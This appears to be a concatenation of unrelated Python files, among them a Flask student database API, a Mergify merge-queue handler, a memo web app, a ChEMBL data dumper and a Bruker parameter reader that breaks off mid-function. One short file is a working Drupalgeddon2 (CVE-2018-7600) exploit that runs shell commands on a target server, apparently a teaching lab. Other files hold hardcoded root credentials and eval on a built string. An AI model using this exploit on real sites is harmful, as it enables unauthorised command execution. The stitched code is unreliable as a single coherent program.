from datetime import datetime, date
import os
import csv
import time
import cv2
import numpy as np

class FileManager(Exception):
    pass

# system navigation
def get_items_in_dir(my_path=""):
    my_path = os.getcwd() if my_path == "" or my_path is None else my_path
    files = []
    for roots, dirs, items in os.walk(my_path):
        [files.append(os.path.join(roots, item)) for item in items]
    return files

def save_frames(color_frame, depth_frame, id_crotal=None, cam="cam01"):
    ts = time.time()
    if id_crotal is not None:
        # own path in savings, lamb crotal
        # mypath = os.path.join(os.getcwd(), "savings", id_crotal)
        # mypath = os.path.join(os.getcwd(), "savings")
        # if not os.path.exists(mypath):
        #     os.makedirs(mypath)
        mypath = os.path.dirname(os.getcwd())

        # path_color = ("savings", "color", date.today())
        # path_color = ("savings", "depth", date.today())

        def mkdirs(current_path, paths):
            path = current_path
            for folder in paths:
                path = os.path.join(path, str(folder))
                if not os.path.exists(path):
                    os.mkdir(path)
            return path

        if id_crotal is None:
            path_color = mkdirs(mypath, ("savings", "color", date.today()))
            path_depth = mkdirs(mypath, ("savings", "depth", date.today()))
        else:
            path_color = mkdirs(mypath, ("savings", "color", id_crotal, date.today()))
            path_depth = mkdirs(mypath, ("savings", "depth", id_crotal, date.today()))

        filename = os.path.join(path_color, "{}_{}_{}.png".format(datetime.fromtimestamp(ts), cam, "color"))

        # path_1 = os.path.join(os.getcwd(), "savings", "{}".format(frame_type),
        #                       str(date.today()), "{}.png".format(datetime.fromtimestamp(ts)))
        #
        # path_2 = os.path.join(os.getcwd(), "savings", "{}".format(frame_type),
        #                       str(date.today()), "{}.png".format(datetime.fromtimestamp(ts)))
        #
        # path_color = os.path.join(mypath, "color")
        # path_depth = os.path.join(mypath, "depth")
        # if not os.path.exists(path_color):
        #     os.makedirs(path_color)
        # if not os.path.exists(path_depth):
        #     os.makedirs(path_depth)
        #
        # dirname = str(date.today())
        # # path with date
        # path_color = os.path.join(path_color, dirname)
        # path_depth = os.path.join(path_depth, dirname)
        # if not os.path.exists(path_color):
        #     os.makedirs(path_color)
        # if not os.path.exists(path_depth):
        #     os.makedirs(path_depth)
        #
        # # number of collections of the lamb
        # # dirname = str(max(map(lambda x: int(x) if x.isdigit() else 0,
        # #                       [f for f in os.listdir(mypath) if os.path.isdir(os.path.join(mypath, f))]),
        # #                   default=0) + 1)
        # # mypath = os.path.join(mypath, dirname)
        # # if not os.path.exists(mypath):
        # #     os.makedirs(mypath)
        #
        # # Save files
        # path_color = os.path.join(path_color, "{}_".format(datetime.fromtimestamp(ts)))
        # path_depth = os.path.join(path_depth, "{}_".format(datetime.fromtimestamp(ts)))

        correct, filename = is_new_file_correct(filename)
        if correct:
            cv2.imwrite(filename=filename, img=color_frame)
        else:
            raise FileManager("filename incorrect!!")
        filename = filename.replace("color", "depth")
        correct, filename = is_new_file_correct(filename)
        if correct:
            cv2.imwrite(filename=filename, img=depth_frame)
        else:
            raise FileManager("filename incorrect!!")
    return

# TODO
def read_frames(filename):
    if os.path.exists(filename) and os.path.isfile(filename):

        color_frame = cv2.imread(filename=filename, mode="RGB")
        depth_frame = cv2.imread(filename=filename, mode="RGB")

        return color_frame, depth_frame
    else:
        print("File Manager ERROR")
        print("Error trying to read the saved frames")
        return None

def record_frames(color_frame, depth_frame, frames_saved, id_crotal_aux):
    ts = time.time()
    mypath = os.path.join(os.getcwd(), "savings", "RGBDIJ", id_crotal_aux,
                          "RGBDIJ_lamb_{}.mine".format(datetime.fromtimestamp(ts)))

    # Save RGBDIJ file
    RGBDIJ.save_file(color_frame, depth_frame, mypath)

    # Save PNG (RGB) file
    mypath = mypath.replace("RGBDIJ", "PNG").replace(".mine", ".png")
    correct, mypath = is_new_file_correct(mypath)
    if correct:
        cv2.imwrite(str(mypath.format(datetime.fromtimestamp(ts))), color_frame)
    return frames_saved, id_crotal_aux

# def save_frames(frames_saved, id_crotal, points, mapped_frame):
#     ts = time.time()
#     if id_crotal is not None:
#         mypath = os.path.join(os.getcwd(), "savings", id_crotal)
#         if 2 >= frames_saved > 0 == frames_saved % 2:
#             # date_day = datetime.fromtimestamp(ts).strftime('%Y-%m-%d_%H:%M')
#             # # date_time = datetime.datetime.fromtimestamp(ts).strftime('%H:%M:%S')
#             if not os.path.exists(mypath):
#                 os.makedirs(mypath)
#             dirname = str(max(map(lambda x: int(x) if x.isdigit() else 0,
#                                   [f for f in os.listdir(mypath) if os.path.isdir(os.path.join(mypath, f))]),
#                               default=0) + 1)
#             mypath = os.path.join(mypath, dirname)
#             if not os.path.exists(mypath):
#                 os.makedirs(mypath)
#
#             points.export_to_ply(os.path.join(mypath,
#                                               "{}_pcd_lamb.ply".format(datetime.fromtimestamp(ts))), mapped_frame)
#             frames_saved += 1
#
#         elif 60 >= frames_saved > 2 and frames_saved % 2 == 0:
#             dirname = str(max(map(lambda x: int(x) if x.isdigit() else 0,
#                                   [f for f in os.listdir(mypath) if os.path.isdir(os.path.join(mypath, f))])))
#             mypath = os.path.join(mypath, dirname)
#             points.export_to_ply(os.path.join(mypath,
#                                               "{}_pcd_lamb.ply".format(datetime.fromtimestamp(ts))), mapped_frame)
#             frames_saved += 1
#         elif 0 < frames_saved <= 60:
#             frames_saved += 1
#         else:
#             frames_saved = 0
#             id_crotal = None
#     elif frames_saved > 60:
#         frames_saved = 0
#     return frames_saved, id_crotal
#
#
# def take_dataset_frame(color_image, depth_image, frames_saved, id_crotal_aux):
#     ts = time.time()
#     mypath = os.path.join(os.getcwd(), "savings", "RGBDIJ", id_crotal_aux,
#                           "RGBDIJ_lamb_{}.mine".format(datetime.fromtimestamp(ts)))
#
#     # Save RGBDIJ file
#     RGBDIJ.save_file(color_image, depth_image, mypath)
#
#     # Save PNG (RGB) file
#     mypath = mypath.replace("RGBDIJ", "PNG").replace(".mine", ".png")
#     correct, mypath = is_new_file_correct(mypath)
#     if correct:
#         cv2.imwrite(str(mypath.format(datetime.fromtimestamp(ts))), color_image)
#     return frames_saved, id_crotal_aux

def __is_dir_file_correct__(file):
    dirname = os.path.dirname(file)
    if not os.path.exists(dirname):
        os.makedirs(dirname)

    if os.path.exists(dirname) and os.path.isdir(dirname):
        if os.path.exists(dirname):
            return True, dirname
        else:
            return True, os.getcwd()
    else:
        raise Exception("IS_DIR_FILE_CORRECT: error checking the file, file path not right")
        return False, None

def is_file_correct(file):
    dircorrect, dirname = __is_dir_file_correct__(file)
    file = os.path.join(dirname, os.path.basename(file))
    if dircorrect and os.path.exists(file) and os.path.isfile(file):
        return True, file
    else:
        print("IS_FILE_CORRECT: error checking the file, file path not right")
        return False, None

def is_new_file_correct(file):
    dircorrect, dirname = __is_dir_file_correct__(file)
    file = os.path.join(str(dirname), str(os.path.basename(file)))
    if dircorrect:
        if not os.path.exists(file):
            return True, file
        else:
            # TODO
            # changes filename to "file (1), (2) ..."
            # right now it just overrides the file
            return True, file
    else:
        print("IS_FILE_CORRECT: error checking the file, file path not right")
        return False, None

def is_data_correct(data):
    if data is not None:
        return True
    elif data:
        return True
    else:
        print("IS_DATA_CORRECT: error writing the file, the data is empty")
        return False

# CSV
def write_csv(file, data):
    correct, file = is_new_file_correct(file)
    if correct:
        if is_data_correct(data):
            with open(file, mode='w+') as f:
                writer = csv.DictWriter(f, fieldnames=list(data[0].keys()))
                writer.writeheader()
                writer.writerows(data)
        else:
            print("error writing the csv file, data is empty")
    else:
        print("error writing the csv file, file path not right")

def load_csv(file):
    correct, file = is_file_correct(file)
    if correct and os.path.exists(file):
        with open(file) as f:
            reader = csv.reader(f, delimiter=',')
            line_count = 0
            for row in reader:
                if line_count == 0:
                    print("Column names are {}\n".format(row))
                    line_count += 1
                else:
                    print("{0}}: Column names are {1}}\n".format(line_count, row))
                    line_count += 1
            print("Processed {} lines.\n".format(line_count))

def create_csv():
    """
    Creates a csv file with all the files in the current dir and its expected result for the neural network
    :return:
    """
    files = get_items_in_dir()
    data_RGBDIJ = []
    data_PNG = []

    for item in files:
        if ".mine" in item:
            data = data_RGBDIJ
        elif ".png" in item:
            data = data_PNG
        else:
            continue

        item = item.replace("/home/alberto/Documents/workspace/Robolab/RoboLAMB/RoboLAMB/", "")

        if "con_oveja" in item:
            file = {"path": item, "result": "lamb"}
            data.append(file)
        elif "mal_oveja" in item:
            file = {"path": item, "result": "error"}
            data.append(file)
        elif "sin_oveja" in item:
            file = {"path": item, "result": "empty"}
            data.append(file)

    write_csv(os.path.join(os.getcwd(), "out_RGBDIJ.csv"), data_RGBDIJ)
    write_csv(os.path.join(os.getcwd(), "out_PNG.csv"), data_PNG)

# Working with Images
# RGBD, Open3D_PointCloud, RGBDij
class RGBDIJ:
    #
    # def __init__(self, collection):
    #     # self.collection = np.zeros((480, 640, 6), dtype=np.float64)
    #     self._collection = collection

    @classmethod
    def load_file(cls, file_path):
        color_image = np.zeros((480, 640, 3), dtype=np.uint8)
        depth_image = np.zeros((480, 640, 1), dtype=np.uint16)
        correct, file_path = is_file_correct(file_path)
        if correct:
            with open(file_path, "r") as f:
                for line in f:
                    if len(line) < 2:
                        print(line)
                        continue
                    line = line.split(" ")
                    i = int(line[4])
                    j = int(line[5])
                    color_image[i][j][0] = np.uint8(line[0])
                    color_image[i][j][1] = np.uint8(line[1])
                    color_image[i][j][2] = np.uint8(line[2])
                    depth_image[i][j] = np.uint16(line[3])
            return color_image, depth_image
        else:
            raise Exception("cannot load file " + str(file_path))

    @classmethod
    def save_file(cls, color_image, depth_image, file):
        correct, file_path = is_new_file_correct(file)
        if correct:
            with open(file, "w+") as f:
                for (i, j, pos), value in np.ndenumerate(color_image):
                    f.write(str(value) + " ")
                    if pos == 2:
                        f.write(str(depth_image[i][j]) + " " + str(i) + " " + str(j) + " \n")

if __name__ == '__main__':
    create_csv()


import os
import argparse
import math
import random
import subprocess
import time

parser = argparse.ArgumentParser(description='main_runner')
parser.add_argument('--dataset_size','-n',type=int,default=1000,help='Number of elements in S, i.e. number of key-value pairs')
parser.add_argument('--epsilon','-e',type=float,default=0.1,help='Epsilon value')
parser.add_argument('--m','-m',type=int,default=15,help='The number of bits of the prime p')
parser.add_argument('--s','-s',type=int,default=4,help='Number of hash functions')
parser.add_argument('--range','-r',type=int,default=20,help='Number of possible function output values')
parser.add_argument('--buckets','-B',type=int,default=10,help='Number of buckets')
# parser.add_argument('--num_exp','-ne',type=int,default=10,help='Number of experiments')
args = parser.parse_args()

n = args.dataset_size
e = args.epsilon
m = args.m
s = args.s
r = args.range
B = args.buckets

k = math.ceil(math.log(r, 2))

if m < k:
	raise ValueError('Specify m to be larger than or equal log_2(range).')

keys = random.sample(range(n), n)
data = [random.randint(0,r-1) for i in range(n)]

with open('dataset.txt', 'w') as f:
    for i in range(len(data)):
        key = keys[i]
        item = data[i]
        f.write("%s %s\n" % (key,item) )

timenow = time.time()

print(subprocess.check_output("./test_bucketing.o %s %s %s %s %s %s < dataset.txt"%(n,e,m,s,k,B),shell=True))

print(time.time()-timenow)


# coding:utf-8
from flask import Flask, jsonify, request
from flask_sqlalchemy import SQLAlchemy

app = Flask(__name__)

app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['SQLALCHEMY_DATABASE_URI'] = "mysql+pymysql://root:root@127.0.0.1:3306/supermarket"
db = SQLAlchemy(app)

class Student(db.Model):
    s_id = db.Column(db.Integer, primary_key=True, autoincrement=True)
    s_num = db.Column(db.String(10), unique=True)
    s_name = db.Column(db.String(16))
    s_age = db.Column(db.Integer, default=0)

    __tablename__ = "student"

@app.route('/')
def index():
    return "
Hello
"

@app.route('/initdb', methods=['POST'])
def init_db():
    db.create_all()
    db.session.commit()
    ret_dic = {"ret_code": "200", "ret_msg": "创建数据库成功"}
    return jsonify(ret_dic)

@app.route('/add_student', methods=['POST'])
def add_student():
    stu = Student()
    stu.s_num = request.form['s_num']
    stu.s_name = request.form['s_name']
    stu.s_age = request.form['s_age']

    db.session.add(stu)
    db.session.commit()

    ret_dic = {'ret_code': '200', 'ret_msg': '添加信息成功',
               'student': {'s_id': stu.s_id, 's_num': stu.s_num, 's_name': stu.s_name, 's_age': stu.s_age}}
    return jsonify(ret_dic)

@app.route('/all_student')
def get_all_student():
    db_query = Student.query.all()
    student_list = []
    for stu in db_query:
        student_info = {'s_id': stu.s_id, 's_num': stu.s_num, 's_name': stu.s_name, 's_age': stu.s_age}
        student_list.append(student_info)

    ret_dic = {'ret_code': '200', 'ret_msg': '查询信息成功',
               'student': student_list, 'count': len(student_list)}
    return jsonify(ret_dic)

@app.route('/select')
def select_student():
    target = request.args['s_num']
    db_ret = Student.query.filter(Student.s_num == target)

    student_list = []
    for stu in db_ret:
        student_info = {'s_id': stu.s_id, 's_num': stu.s_num, 's_name': stu.s_name, 's_age': stu.s_age}
        student_list.append(student_info)

    ret_dic = {'ret_code': '200', 'ret_msg': '查询信息成功',
               'student': student_list, 'count': len(student_list)}
    return jsonify(ret_dic)

@app.route('/update', methods=['PUT'])
def update_student():
    stu_num = request.form['s_num']
    stu_name = request.form['s_name']
    stu_age = request.form['s_age']

    target_stu = Student.query.filter(Student.s_num == stu_num)[0]
    target_stu.s_num = stu_num
    target_stu.s_name = stu_name
    target_stu.s_age = stu_age

    s_list = [
        {'s_id': target_stu.s_id, 's_num': target_stu.s_num,
         's_name': target_stu.s_name, 's_age': target_stu.s_age}]

    ret_dic = {'ret_code': '200', 'ret_msg': '修改信息成功',
               'student': s_list,
               'count': len(s_list)}

    return jsonify(ret_dic)

@app.route('/delete', methods=['DELETE'])
def delete_student():
    stu_num = request.form['s_num']

    target_stu = Student.query.filter(Student.s_num == stu_num)[0]

    db.session.delete(target_stu)
    db.session.commit()

    s_list = [
        {'s_id': target_stu.s_id, 's_num': target_stu.s_num,
         's_name': target_stu.s_name, 's_age': target_stu.s_age}]

    ret_dic = {'ret_code': '200', 'ret_msg': '删除信息成功',
               'student': s_list,
               'count': len(s_list)}

    return jsonify(ret_dic)

if __name__ == '__main__':
    app.run(port=8000)


flags = []
started_flags = 0
text_print = ''
i_copy = ''
with open("include/constants/flags.h") as flag_file:
    for i, line in enumerate(flag_file.readlines(), 0):
        if i > 4:
            split = line.split(" ")
            if len(split) < 2:
                continue
            elif split[1] == "FLAGS_COUNT":
                break
            flags.append(split[1])
for i in flags:
    text_print += "static const u8 gDebugText_" + i + '[] = _("' + i.replace("FLAG_", "").title().replace("_", "-") + '");\n'
text_print += '\nstatic const u8 * const sDebug_FlagStrings[] =\n{\n'
for i in flags:
    i_copy = i
    if "HIDDEN_ITEM" in i:
        i_copy = '1000 + ' + i
    text_print += '\t[' + i_copy + '] = gDebugText_' + i + ',\n'
text_print += '}'
with open("src/data/flag_strings.c", "w", encoding="utf-8") as outFile:
    outFile.write(str(text_print))


try:
    fin = open("input.txt","r")
    lines = fin.readlines()
    fin.close();
    if lines==[]:
        print("File is Empty")
    else:
        fupper = open("prac3_upper.txt","w")
        flower = open("prac3_lower.txt","w")
        print("File In Upper Case:")
        for i in lines:
            fupper.write(i.upper())
            print(i.upper(), end='')
        print("\n\nFile In Lower Case:")
        for i in lines:
            flower.write(i.lower())
            print(i.lower(), end='')
        fupper.close()
        flower.close()
except FileNotFoundError:
    print("File Doesn't exist")


#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
#      http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import typing

from first import first

from mergify_engine import check_api
from mergify_engine import context
from mergify_engine import delayed_refresh
from mergify_engine import github_types
from mergify_engine import rules
from mergify_engine.actions import merge_base
from mergify_engine.queue import merge_train

async def have_unexpected_draft_pull_request_changes(
    ctxt: context.Context, car: merge_train.TrainCar
) -> bool:
    unexpected_event = first(
        (source for source in ctxt.sources),
        key=lambda s: s["event_type"] == "pull_request"
        and typing.cast(github_types.GitHubEventPullRequest, s["data"])["action"]
        in ["closed", "reopened", "synchronize"],
    )
    if unexpected_event:
        ctxt.log.info(
            "train car received an unexpected event",
            unexpected_event=unexpected_event,
        )
        return True

    return False

async def handle(queue_rules: rules.QueueRules, ctxt: context.Context) -> None:
    # FIXME: Maybe create a command to force the retesting to put back the PR in the queue?

    train = await merge_train.Train.from_context(ctxt)

    car = train.get_car_by_tmp_pull(ctxt)
    if not car:
        if ctxt.closed:
            ctxt.log.info(
                "train car temporary pull request has been closed", sources=ctxt.sources
            )
        else:
            ctxt.log.warning(
                "train car not found for an opened merge queue pull request",
                sources=ctxt.sources,
            )

        return

    if car.checks_conclusion != check_api.Conclusion.PENDING and ctxt.closed:
        ctxt.log.info(
            "train car temporary pull request has been closed", sources=ctxt.sources
        )
        return

    if car.queue_pull_request_number is None:
        raise RuntimeError(
            "Got draft pull request event on car without queue_pull_request_number"
        )

    ctxt.log.info(
        "handling train car temporary pull request event",
        sources=ctxt.sources,
        gh_pulls_queued=[
            ep.user_pull_request_number for ep in car.still_queued_embarked_pulls
        ],
    )

    queue_name = car.still_queued_embarked_pulls[0].config["name"]
    try:
        queue_rule = queue_rules[queue_name]
    except KeyError:
        ctxt.log.warning(
            "queue_rule not found for this train car",
            gh_pulls_queued=[
                ep.user_pull_request_number for ep in car.still_queued_embarked_pulls
            ],
            queue_rules=queue_rules,
            queue_name=queue_name,
        )
        return

    pull_requests = await car.get_pull_requests_to_evaluate()
    evaluated_queue_rule = await queue_rule.get_pull_request_rule(
        ctxt.repository,
        ctxt.pull["base"]["ref"],
        pull_requests,
        ctxt.log,
        ctxt.has_been_refreshed_by_timer(),
    )

    for pull_request in pull_requests:
        await delayed_refresh.plan_next_refresh(
            ctxt, [evaluated_queue_rule], pull_request
        )

    if not ctxt.sources:
        # NOTE(sileht): Only comment/command, don't need to go further
        return None

    unexpected_changes: typing.Optional[merge_train.UnexpectedChange] = None
    if await have_unexpected_draft_pull_request_changes(ctxt, car):
        unexpected_changes = merge_train.UnexpectedDraftPullRequestChange(
            car.queue_pull_request_number
        )
    else:
        current_base_sha = await train.get_base_sha()
        if not await train.is_synced_with_the_base_branch(current_base_sha):
            unexpected_changes = merge_train.UnexpectedBaseBranchChange(
                current_base_sha
            )

    if unexpected_changes is None:
        real_status = status = await merge_base.get_rule_checks_status(
            ctxt.log,
            ctxt.repository,
            pull_requests,
            evaluated_queue_rule,
            unmatched_conditions_return_failure=False,
        )
        if real_status == check_api.Conclusion.FAILURE and (
            not car.has_previous_car_status_succeeded()
            or len(car.initial_embarked_pulls) != 1
        ):
            # NOTE(sileht): we can't set it as failed as we don't known
            # yet which pull request is responsible for the failure.
            # * one of the batch ?
            # * one of the parent car ?
            status = check_api.Conclusion.PENDING
    else:
        real_status = status = check_api.Conclusion.PENDING

    ctxt.log.info(
        "train car temporary pull request evaluation",
        gh_pull_queued=[
            ep.user_pull_request_number for ep in car.still_queued_embarked_pulls
        ],
        evaluated_queue_rule=evaluated_queue_rule.conditions.get_summary(),
        unexpected_changes=unexpected_changes,
        temporary_status=status,
        real_status=real_status,
        event_types=[se["event_type"] for se in ctxt.sources],
    )

    await car.update_state(real_status, evaluated_queue_rule)
    await car.update_summaries(status, unexpected_change=unexpected_changes)
    await train.save()

    if unexpected_changes:
        ctxt.log.info(
            "train will be reset",
            gh_pull_queued=[
                ep.user_pull_request_number for ep in car.still_queued_embarked_pulls
            ],
            unexpected_changes=unexpected_changes,
        )
        await train.reset(unexpected_changes)

        await ctxt.client.post(
            f"{ctxt.base_url}/issues/{ctxt.pull['number']}/comments",
            json={
                "body": f"This pull request has unexpected changes: {unexpected_changes}. The whole train will be reset."
            },
        )


import puzzle_1
import puzzle_2

# Read lines from input file and assign them to a list called input
with open("../input.txt", "r") as information:
    input = information.readlines()

# Turn into a list of int
data = list(map(int, input))

# Declares variables for each of the puzzles solutions and assigns respective functions to it
# (See puzzle_1 and puzzle_2 python files for each function code)
puzzle1_solution = puzzle_1.solve(data)
puzzle2_solution = puzzle_2.solve(data)

# Prints both solutions
print("Puzzle 1 Solution :" , puzzle1_solution)
print("Puzzle 2 Solution :" , puzzle2_solution)


import sys
import requests
from requests.auth import HTTPBasicAuth

# Based on https://github.com/a2u/CVE-2018-7600 by Vitalii Rudnykh

target = "https://drupal.samsclass.info/"

url = target + 'user/register?element_parents=account/mail/' \
      + '%23value&ajax_form=1&_wrapper_format=drupal_ajax'

payload = {'form_id': 'user_register_form', '_drupal_ajax': '1',
           'mail[#post_render][]': 'exec', 'mail[#type]': 'markup',
           'mail[#markup]': 'ls | xargs -I % bash -c "echo % && cat %" | tee 0xBB.txt'}

r = requests.post(url, data=payload, auth=HTTPBasicAuth('student1', 'student1'))

check = requests.get(target + '0xBB.txt', auth=HTTPBasicAuth('student1', 'student1'))
if check.status_code != 200:
  sys.exit("Not exploitable")
print ('\nCheck: '+target+'0xBB.txt')


"""
Flask web app connects to Mongo database.
Keep a simple list of dated memoranda.

Representation conventions for dates:
   - In the session object, date or datetimes are represented as
   ISO format strings in UTC.  Unless otherwise specified, this
   is the format passed around internally. Note that ordering
   of ISO format strings is consistent with date/time order
   - User input/output is in local (to the server) time
   - Database representation is as MongoDB 'Date' objects
   Note that this means the database may store a date before or after
   the date specified and viewed by the user, because 'today' in
   Greenwich may not be 'today' here.
"""

import flask
from flask import render_template
from flask import request
from flask import url_for
from flask import redirect

import json
import logging

# Date handling
import arrow # Replacement for datetime, based on moment.js
import datetime # But we may still need time
from dateutil import tz  # For interpreting local times

# Mongo database
from pymongo import MongoClient
from bson.objectid import ObjectId

###
# Globals
###
import CONFIG

app = flask.Flask(__name__)

try:
    dbclient = MongoClient(CONFIG.MONGO_URL)
    db = dbclient.memos
    collection = db.dated

except:
    print("Failure opening database.  Is Mongo running? Correct password?")
    sys.exit(1)

import uuid
app.secret_key = str(uuid.uuid4())

###
# Pages
###

@app.route("/")
@app.route("/index")
def index():
  app.logger.debug("Main page entry")
  flask.session['memos'] = get_memos()
  for memo in flask.session['memos']:
      break
      app.logger.debug("Got Memo: " + str(memo))
  return flask.render_template('index.html')

# We don't have an interface for creating memos yet
@app.route("/create")
def create():
	app.logger.debug("Create")
	return flask.render_template('create.html')

@app.errorhandler(404)
def page_not_found(error):
    app.logger.debug("Page not found")
    return flask.render_template('page_not_found.html',
                                 badurl=request.base_url,
                                 linkback=url_for("index")), 404

#################
#
# Url scripts
#
#################

@app.route("/_create")
def func_create():
	app.logger.debug("Creating new memo")
	t_date = request.args.get('Date')
	t_memo = request.args.get('Memo')
	t_offset = request.args.get('offset', type=int)
	app.logger.debug("New memo: "+t_date+","+str(t_offset)+":"+t_memo)
	t_date = arrow.get(t_date, "MM/DD/YYYY hh:mm A")
	t_tz = timezoned(t_offset)
	app.logger.debug(t_tz)
	t_date = t_date.replace(tzinfo=t_tz)
	put_memo(t_date, t_memo)
	return redirect(url_for('index'))

@app.route("/_delete")
def func_delete():
	app.logger.debug("Deleting a memo")
	t_id = request.args.get('id')
	app.logger.debug("Deleting: "+t_id)
	remove_memo(t_id)
	return redirect(url_for('index'))

#################
#
# Functions used within the templates
#
#################

@app.template_filter( 'fmtdate' )
def format_arrow_date( date ):
	try:
		normal = arrow.get( date )
		return normal.to('local').format("ddd MM/DD/YYYY hh:mm A")
	except:
		return "(bad date)"

@app.template_filter( 'humanize' )
def humanize_arrow_date( date ):
    """
    Date is internal UTC ISO format string.
    Output should be "today", "yesterday", "in 5 days", etc.
    Arrow will try to humanize down to the minute, so we
    need to catch 'today' as a special case.
    """
    try:
        then = arrow.get(date).to('local')
        now = arrow.utcnow().to('local')
        if then.date() == now.date():
            human = "Today"
        else:
            human = then.humanize(now)
            if human == "in a day":
                human = "Tomorrow"
    except:
        human = format_arrow_date(date)
    return human.capitalize()

#############
#
# Functions available to the page code above
#
##############
def get_memos():
    """
    Returns all memos in the database, in a form that
    can be inserted directly in the 'session' object.
    """
    records = [ ]
    for record in collection.find( { "type": "dated_memo" } ):
        record['date'] = arrow.get(record['date']).isoformat()
        record['time'] = arrow.get(record['date']).timestamp
        record['_id'] = str(record['_id'])
        record['text'] = str(record['text'].encode('ascii','xmlcharrefreplace'), "utf-8")
        records.append(record)
    records.sort(key=lambda x: x['time'])
    return records

def put_memo(dt, mem):
	"""
	Place memo into database
	Args:
		dt: Datetime (arrow) object
		mem: Text of memo
	"""
	record = {
		"type": "dated_memo",
		"date": dt.to('utc').naive,
		"text": mem
	}
	collection.insert(record)
	return

def remove_memo(mid):
	"""
	Remove memo from database
	Args:
		mid: Memo _id attribute (string)
	"""
	record = {
		"_id": ObjectId(mid)
	}
	collection.remove(record)
	return

def twoChars(num):
	if num < 10:
		return "0"+str(num)
	return str(num)

def timezoned(minutes):
	t_str = ""
	if minutes >= 0:
		t_str += "+"
	else:
		t_str += "-"
		minutes = abs(minutes)
	t_hours = minutes // 60
	t_str += twoChars(t_hours) + ":"
	minutes -= t_hours * 60
	t_str += twoChars(minutes)
	return t_str

if __name__ == "__main__":
    # App is created above so that it will
    # exist whether this is 'main' or not
    # (e.g., if we are running in a CGI script)
    app.debug=CONFIG.DEBUG
    app.logger.setLevel(logging.DEBUG)
    # We run on localhost only if debugging,
    # otherwise accessible to world
    if CONFIG.DEBUG:
        # Reachable only from the same computer
        app.run(port=CONFIG.PORT)
    else:
        # Reachable from anywhere
        app.run(port=CONFIG.PORT,host="0.0.0.0")


import os
import os.path
import sys
import time
import glob
import json

import biothings, config
biothings.config_for_app(config)

from config import DATA_ARCHIVE_ROOT
from biothings.hub.dataload.dumper import HTTPDumper
from biothings.utils.common import iter_n

class ChemblDumper(HTTPDumper):

    SRC_NAME = "chembl"
    SRC_ROOT_FOLDER = os.path.join(DATA_ARCHIVE_ROOT, SRC_NAME)
    SRC_DATA_URL = "https://www.ebi.ac.uk/chembl/api/data/molecule.json"
    SRC_VERSION_URL = "https://www.ebi.ac.uk/chembl/api/data/status.json"

    SCHEDULE = "0 12 * * *"
    CHUNK_MERGE_SIZE = 100 # number of part files merged together after download

    def remote_is_better(self,remotefile,localfile):
        remote_data = json.loads(self.client.get(self.__class__.SRC_VERSION_URL).text)
        assert "chembl_db_version" in remote_data
        assert remote_data["status"] == "UP" # API is working correctly
        self.release = remote_data["chembl_db_version"]
        # get the total count from the first page
        data = json.loads(self.client.get(self.__class__.SRC_DATA_URL).text)
        self.total_count = data["page_meta"]["total_count"]
        if localfile is None:
            # ok we have the release, we can't compare further so we need to download
            return True
        local_data = json.load(open(localfile))
        # comparing strings should work since it's formatted as "ChEMBL_xxx"
        if remote_data["chembl_db_version"] > local_data["chembl_db_version"]:
            return True
        else:
            return False

    def create_todump_list(self, force=False):
        version_filename = os.path.basename(self.__class__.SRC_VERSION_URL)
        try:
            current_localfile = os.path.join(self.current_data_folder,version_filename)
            if not os.path.exists(current_localfile):
                current_localfile = None
        except TypeError:
            # current data folder doesn't even exist
            current_localfile = None
        remote_better = self.remote_is_better(self.__class__.SRC_VERSION_URL,current_localfile)
        if force or current_localfile is None or remote_better:
            new_localfile = os.path.join(self.new_data_folder,version_filename)
            self.to_dump.append({"remote":self.__class__.SRC_VERSION_URL, "local":new_localfile})
            # now we need to scroll the API endpoint. Let's get the total number of records
            # and generate URLs for each call to parallelize the downloads
            for num,i in enumerate(range(0,self.total_count,1000)):
                remote = self.__class__.SRC_DATA_URL + "?limit=1000&offset=" + str(i)
                local = os.path.join(self.new_data_folder,"molecule.part%d" % num)
                self.to_dump.append({"remote":remote, "local":local})

    def post_dump(self, *args, **kwargs):
        self.logger.info("Merging JSON documents in '%s'" % self.new_data_folder)
        # we'll merge 100 files together, that's 100'000 documents. That way we don't have one huge
        # big files and we don't have thousands of them too. We'll also remove metadata (useless now)
        parts = glob.iglob(os.path.join(self.new_data_folder,"molecule.part*"))
        for chunk,cnt in iter_n(parts,self.__class__.CHUNK_MERGE_SIZE,with_cnt=True):
            outfile = os.path.join(self.new_data_folder,"molecule.%s.json" % cnt)
            merged_data = {"molecules" : []}
            for f in chunk:
                data = json.load(open(f))
                merged_data["molecules"].extend(data["molecules"])
            json.dump(merged_data,open(outfile,"w"))
            self.logger.info("Merged %s files" % cnt)
        # now we can delete the parts
        self.logger.info("Deleting part files")
        parts = glob.iglob(os.path.join(self.new_data_folder,"molecule.part*"))
        for f in parts:
            os.remove(f)
        self.logger.info("Post-dump merge done")


from __future__ import print_function

import sys
import operator

import numpy as np
import numpy.matlib as npml
import matplotlib.pyplot as plt

import isinmrtbx.tools.mrs as mrs
from isinmrtbx.inout.jcampdx import *

"""
Temp imports
"""
import matplotlib.pyplot as plt

AUTHOR = 'Tomas Psorn'
CONTACT = 'psorn@isibrno.cz'

def readBrukerParamFile(path, dataobject):
    """
    Function to read Bruker parameter file in JCAMPDX format. It stores all attributes and
    their values found in a file into particular object parameter.

    Parameters
    ----------
    path (string)
    imagedataobject

    Returns
    -------
    -
    """

    fileType = path.split('/')
    fileType = fileType[len(fileType)-1]

    with open(path) as paramFile:
        paramData = paramFile.read()

    paramDataLines, comments = strip_comments(paramData)

    ldr_sep, ldr_usr_sep, ldr_dict_sep = '##', '$', '='

    ldrs = [ldr for ldr in paramDataLines.split(ldr_sep) if ldr]

    for ldr in ldrs:
        try:
            ldr_name, ldr_val = ldr.split(ldr_dict_sep)
        except:
            print('Parameter file line is immposible to process, program continues to run')
            print(ldr_dict_sep)
            continue
        ldr_name=ldr_name[1:]
        ldr_val = parse_record(ldr_val)

        command = 'setattr(''dataobject'+'.' + fileType + ', ldr_name, ldr_val)'
        eval(command)

    return

def readBrukerParamFile2(path, dataobject):
    """
    Function to read Bruker parameter file in JCAMPDX format. It stores all attributes and
    their values found in a file into particular object parameter.

    Parameters
    ----------
    path (string)
    imagedataobject

    Returns
    -------
    -
    """

    fileType = path.split('/')
